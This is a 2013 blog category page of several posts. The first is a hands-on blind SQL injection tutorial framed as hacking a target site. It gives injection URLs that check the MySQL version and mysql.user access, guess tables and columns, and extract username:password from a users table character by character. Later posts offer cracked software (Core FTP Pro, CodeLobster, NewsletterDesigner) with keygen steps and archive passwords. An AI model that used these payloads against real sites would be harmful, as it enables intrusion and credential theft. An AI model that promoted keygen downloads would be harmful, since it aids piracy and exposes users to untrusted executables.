Home » Posts filed under Web Development
Người đăng:
ngayvuidaxa on Thứ Bảy, 18 tháng 5, 2013
 |
Blind SQL Injection |
Language: English
Platform: Windows Only
Must Read The Full Post Before Download & Install
Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established
Read Below Tutorial Blind SQLi
Let’s Start…………
Suppose That You want to Hack This website with Blind SQLi
http://site.com/index.php?id=5 when we execute this, we see some page and articles on that page, pictures etc…
After that when we want to test it for blind sql injection attack
http://www.site.com/index.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok.
so if some text, picture or some content is missing on returned page then that site is vulnerable to blind sql injection.
- 1) Get the MySQL version to get the version in blind attack we use substring i.e http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4 this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e. http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5
- 2) Test if subselect works when select don't work then we use subselect i.e http://www.site.com/index.php?id=5 and (select 1)=1 if page loads normally then subselects work. then we gonna see if we have access to mysql.user i.e http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1 if page loads normally we have access to mysql.user and then later we can Pull some password using load_file() function and OUTFILE.
- 3). Check table and column names This is part when guessing is the best friend i.e. http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) then if the page loads normally without content missing, the table users exits. if you get FALSE (some article missing), just change table name until you guess the right one let's say that we have found that table name is users, now what we need is column name. the same as table name, we start guessing. Like i said before try the common names for columns. i.e http://www.site.com/index.php?id=5 and (select substring(concat(1, password),1,1) from users limit 0,1)=1 if the page loads normally we know that column name is password (if we get false then try common names or just guess) here we merge 1 with the column password, then substring returns the first character (,1,1)
- 4). Pull data from database we found table users i columns username password so we gonna pull characters from that. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>80 ok this here pulls the first character from first user in table users. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > . so if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>95 we get TRUE, keep incrementing http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>98 TRUE again, higher http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 FALSE!!! so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'. then let's check the second character. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),2,1))>99 Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght) http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 TRUE, the page loads normally, higher. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>107 FALSE, lower number. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>104 TRUE, higher. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>105 FALSE!!! we know that the second character is char(105) and that is 'i'. We have 'ci' so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually, cause that makes you better SQL INJECTOR
Hope you learned something from this Tutorial. Have FUN!
Người đăng:
ngayvuidaxa on Thứ Năm, 16 tháng 5, 2013
 |
| NewsletterDesigner Pro 11.1.6 Full Version |
Supported Language: English
Downloading Mirrors: HugeFiles | BillionUploads | TusFiles
Must Read The Full Post Before Download & Install
NewsletterDesigner Pro 11.1.6 Full Version – Is the perfect solution for easy and automated newsletter and promotional e-mails. Have you ever wanted to create a professional looking HTML E-mail newsletter, announcement, advertisement, invitation, bulletin, etc? Look no further -- here’s the solution, NewsletterDesigner Pro. NewsletterDesigner Pro is super easy to use and does not require any HTML or programming knowledge. This a great communication tool for professionals, small and home businesses and home users. Just imagine the impression you will make with your clients, friends and/or family.
 |
| Program Screenshot |
Design your newsletter like the professionals. You can easily integrate Pictures, Links and Design Elements. NewsletterDesigner Pro also includes Ready-to-use Templates and Layouts for your Newsletters. Corporate users can create Templates in your very own design and use them for every newsletter. You even can produce newsletters by company department or individual personnel for a more personal touch.
NewsletterDesigner Key Features- Create professional HTML-e-mail (RichMedia-e-mail)
- Save and Load e-mail-Templates
- Send via Outlook, Outlook Express or Windows Mail
- Create without any HTML-Knowledge
- Integrate your own graphics (Header, Footer, Separator)
- Integrate your Weblinks into a Newsletter
- Picture for every Newsblock
- NEW! direct Support of Microsoft® Outlook 2000/XP/2003/2007/2010/2013
- NEW! NewsletterDesigner available in english and german!
- NEU! Works now also with Outlook 2010/2013 64-Bit Editions!!
Software Review
- Name : NewsletterDesigner Pro
- Version : 11.1.6
- Languange : English
- Medicine : Include
- OS Support : Xp/Vista/7/8
- Password : No
- Type File : Rar
- Code File : nd.pr0.11.1.6
- Updated : 15 Mei 2013
- Publisher : NewsletterDesigner
- Size : 10 Mb
Click The Link Below To Download
Mirrors Via BillionUploads
Password: rajibkhaja
Tips:Don’t Forget To Comment Below On The Comment Box, Because Your Feedback Will Help Us To Fix If Any Bug Stay Here. Thanks.
Người đăng:
ngayvuidaxa on Thứ Hai, 6 tháng 5, 2013
 |
| Core FTP Pro 2.2.1771 Full Keygen |
Supported Language: English
Downloading Mirrors: Sharebeast | BillionUploads | TusFiles
Must Read The Full Post Before Download & Install
Core FTP Pro 2.2.1771 Full Keygen is a FTP client software that has many advanced features, such as including: the international domain support, zip compression / decompression before the transfer, fast and safe transfer, support Mode Z compression, remote file search feature, supports FTP / HTTP Proxy, Socks 4 and 5, Sierpinski and description files, supports command line and much more. Core FTP Pro 2.2.1771 Full Keygen greatly to be reliable, and can give you the freedom to update and maintain your website via FTP.
 |
| Ftp Screenshot |
 |
| Ftp Screenshot 1 |
Ftp Features- Secure SFTP, SSL & HTTPS support
- International Domain support
- Fast and secure client transfers
- HIPAA compliant security
- Mode Z compression
- User-friendly interface(s)
- Site to Site file transfers
- FULL drag and drop support
- Start/stop/resume of transfers
- Auto retry of failed transfers
- Transfer bandwidth control
- Browser integration
- File masking (wildcards)
- Keep Alive functionality
- Remote file searching
- File permissions (CHMOD)
- Advanced directory listings
- -htaccess & .htpasswd editing
- One click transfers
- Keep Alive functionality
- Automatic S/Key support
- Favorites via menu & drop down
- Desktop shortcuts & drop u/l's
- Command line support
- FTP/HTTP Proxy, Socks 4&5 support
PRO licensing additional features- Zip compression / decompression - zip up your files on the fly before transfer
- Scheduling of transfers and templates - for web page updating or backup to ftp servers
- Encryption - decryption of files for extra security
- IBM Information Exchange (IE) support
- GXS ICS support
- Connect:Enterprise support
- Tumbleweed / SecureTransport support
- Templates for common or repetitive tasks
- Additional utilities including Ping & TraceRoute
- External program execution (for AV, etc)
- Email notification of transfer status
- No splash screen for command line tasks
Click The Link Below To Download
Mirror via BillionUploadsMirror via SharebeastMirror via TusFilesPassword: rajibkhaja
How to Install- Unrar
- Install Core FTP Pro and run the program
- Click Help> Register
- Run Keygen> Click generater> Copy the serial key
- Use of the serial key keygen full version earlier for registration
- Enjoy
Tips:Don’t Forget To Comment Below On The Comment Box, Because Your Feedback Will Help Us To Fix If Any Bug Stay Here. Thanks.
Người đăng:
ngayvuidaxa on Chủ Nhật, 28 tháng 4, 2013
 |
Ad Screenshot Above |
After searching online two day I got the solution that how to you showing any kind of ads on blogspot/blogger blog. I will share with you how to place your ads below the post header and end of the post. That is also a very good place to get more clicks. So before installing the code you have to use an ad parser to convert the ad code. Now go for placing your ads below post title just follow the below steps.
Ads Example: <div class="separator" style="clear: both; text-align: center;">
<a href="
http://goo.gl/nZGsn"><img class="alignleft size-full wp-image-59" alt="" src="
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizfXPqmbJ0efJ5b1u-Sdbcp0vZTg55IU3FzVS58LfLWFMRuDGds2yR3WVvvP-p3AAcFb8kytEb3oLbVH5S9vn20mXUWYYFiHDYqFNWTHxPzQPzrtI7W94HPnuNUi2bp5SCblsFoRRt_uY/s1600/3.png" /></a></div>
Step 1:Log in to your blogger account and Click on Template ->Edit HTML-> Proceed
Step 2:Now click on Check box to expand the templates
Step 3:Now find <data:post.body/> by pressing Ctrl + F
- Note: You will find 3/4 time this code go for second one.
Step 4:Now Paste your created ads code below/after the following code
<data:post.body/>
Now check your site and see the ads. Happy Blogging. If you face any problem just leave a message below.
Tips:Don’t Forget To Comment Below On The Comment Box, Because Your Feedback Will Help Us To Fix If Any Bug Stay Here. Thanks.
Người đăng:
ngayvuidaxa
 |
| Lauyan TOWeb 4.16.622 e-Commerce Edition Portable |
Supported Language: English
Mirrors: Sharebeast | TusFiles
Must Read The Full Post Before Download & Install
Free download Lauyan TOWeb 4:16 Full Version - Create a professional website or blog may seem quite difficult, but not if you want to try this software. Yuph, using Lauyan TOWeb you can create a professional website and blog with just a few easy steps and also fast. 4.16.622 TOWeb Lauyan e-Commerce Edition is designed to display interface is very user friendly, easy to use and certainly will not disappoint.
 |
| Screenshot-1 |
 |
| Screenshot-2 |
Program Features- Create your website in 5 steps
- Integrated image editor
- Multilingual spell checker
- Unique random themes
- Pages and pictures protection
- Word & Excel import
- Pages, photos albums..
- Google services (Analytic..)
- Multiple sites and multilingual
- Product catalogs
- e-Commerce without subscription
- PayPal native support
- One click publication
- RSS feeds...
Changes in TOWeb version 4.16- bugfix : YouTube videos with addresses in the format "youtu.be" could not be added
- bugfix : wrong display of link and/or link not working correctly when email link was placed on an image or on a paragraph button
- bugfix : topics marked "under construction" were included in the Sitemap file
- bugfix : notifications sent by email when a new blog comments not displaying correctly some character sets
- bugfix : it was not possible to translate the text on the predefined TOWeb "Slideshow" button
Click The Link Below To Download Mirror via SharebeastMirror via TusFilesPassword: rajibkhaja
How To Install- 1. Unrar
- 2. Run TOWeb.exe
- 3. Enjoy
Tips: Don’t Forget To Comment Below On The Comment Box, Because Your Feedback Will Help Us To Fix If Any Bug Stay Here. Thanks.
Người đăng:
ngayvuidaxa on Chủ Nhật, 31 tháng 3, 2013
Người đăng:
ngayvuidaxa on Thứ Tư, 27 tháng 3, 2013
 |
Free CodeLobster PHP Edition Pro 4.5.2 Incl Keygen |
Downloading Mirrors: Sharebeast | BillionUploads | TusFiles
CodeLobster PHP Edition Pro 4.5.2 Full Version FREE Download: - For those of you who often intersect with the world of Web / PHP editing edit certainly already familiar with the software dong PHP editor on this one? Yuph, CodeLobster PHP Edition Pro is a software that allows you to create and edit PHP files, HTML, CSS and JavaScript, which support Drupal CMS, Joomla CMS, Smarty, JQuery and WordPress. This software has a very rich and has a display interface is very user friendly so it is very easy to use.
Program Screenshot |
| CodeLobster PHP Edition Pro 4.5.2 Src 1 |
 |
| CodeLobster PHP Edition Pro 4.5.2 Src 2 |
Program Features:
- PHP, HTML, JavaScript, CSS code highlighting
- PHP, HTML, JavaScript, CSS code collapsing
- HTML autocomplete
- Autocomplete of tags, attributes for current tag, closing tags.
- HTML/CSS code inspector
- Inspector makes it simple to find HTML elements and their styles buried deep in the page.
- HTML toolbar
- CSS autocomplete
- Autocomplete of style property names and values.
- JavaScript Advanced autocomplete
- Autocomplete of keywords, DOM elements and their properties.
- PHP Advanced autocomplete
- This feature speeds up writing a code. Autocomplete includes wide selection of code completion listings.
- Lists are formed of both standard PHP and user's classes, variables, functions, constants and keywords. Starting typing new element, lists of all possible variants for its completion are being displayed after $this-> and ClassName::
- PHP Debugger
- The Debugger is a package of tools that allows a developer debug applications during developing process. Before running, you need to configure it. Set necessary values for the following options in Preferences menu (Tools-->Preferences-->Debugger):
- Virtual folder - path to a virtual project folder
- Virtual host URL - url of a virtual folder
- Path to php.ini - path to the php.ini file
- Server - Apache version running on your computer. You need to select from the list, which displays all Apache versions installed on your machine.
- Features for debugger:
- Functions Step Into (F11), Step Over (F10), Stop Debug (Shift+F5)
- Watch window in debugger, only user's variables are displayed
- Local variables window and Call stack windows
- Expand of objects $this-> while debugging
- Context and Dynamic Help with search for work with PHP, MySQL, HTML
- DynamicHelp window automatically lists all possible references for current word. You also can use ContextHelp to get information about shortcut keys.
- Portable option
- Zen Coding (http://code.google.com/p/zen-coding/)
- Code folding (collapsing)
- Pair highlighting
- Highlighting of paired tags and attributes.
- Pair selection, tags and attributes selection commands
- Selects content within current block.
- Tooltip:
- The tooltip enables you to view values of variables marked with a mouse cursor,
- Tooltips for images and colors.
- Navigation by holding CTRL key for A, LINK, IMG tags, BACKGROUND attributes and PHP functions
- Class View
- (View-->Window-->Class View) contains code elements (classes, functions and variables) of all opened files and a whole application.
- You can easily navigate through your project and find all declarations for chosen element within it. In case of ambiguity solution dialogue appears.
- Preview in a browser
- Project manager
- The project is connected with a folder on the disc. Its structure remains the same while transfering. Also there is an ability to search project's symbols and files using shortcut keys.
- File Explorer with FTP/SFTP support, publishing for projects
- Incremental find
- Bookmarks
- All standard functionalities for work with a code
Click The Link Below To DownloadMirror via BillionUploadsMirror via SharebeastMirror via TusFilesPassword:
koskomputerInstalling Process- 1. Extract rar
- 2. Codelobster Install PHP Edition and run the program> Click "Join"
- 3. Run Keygen> Click Generate
- 4. Use Name & serial from keygen to register full version
- 5. Enjoy
Người đăng:
ngayvuidaxa on Thứ Tư, 20 tháng 3, 2013
Color code chart Use our HTML color picker if you need to choose from an almost infinite variety of colors. Also, if you like a color scheme of a web page view Tip142 for a fantastic tool that can be used to gather that page's color codes.
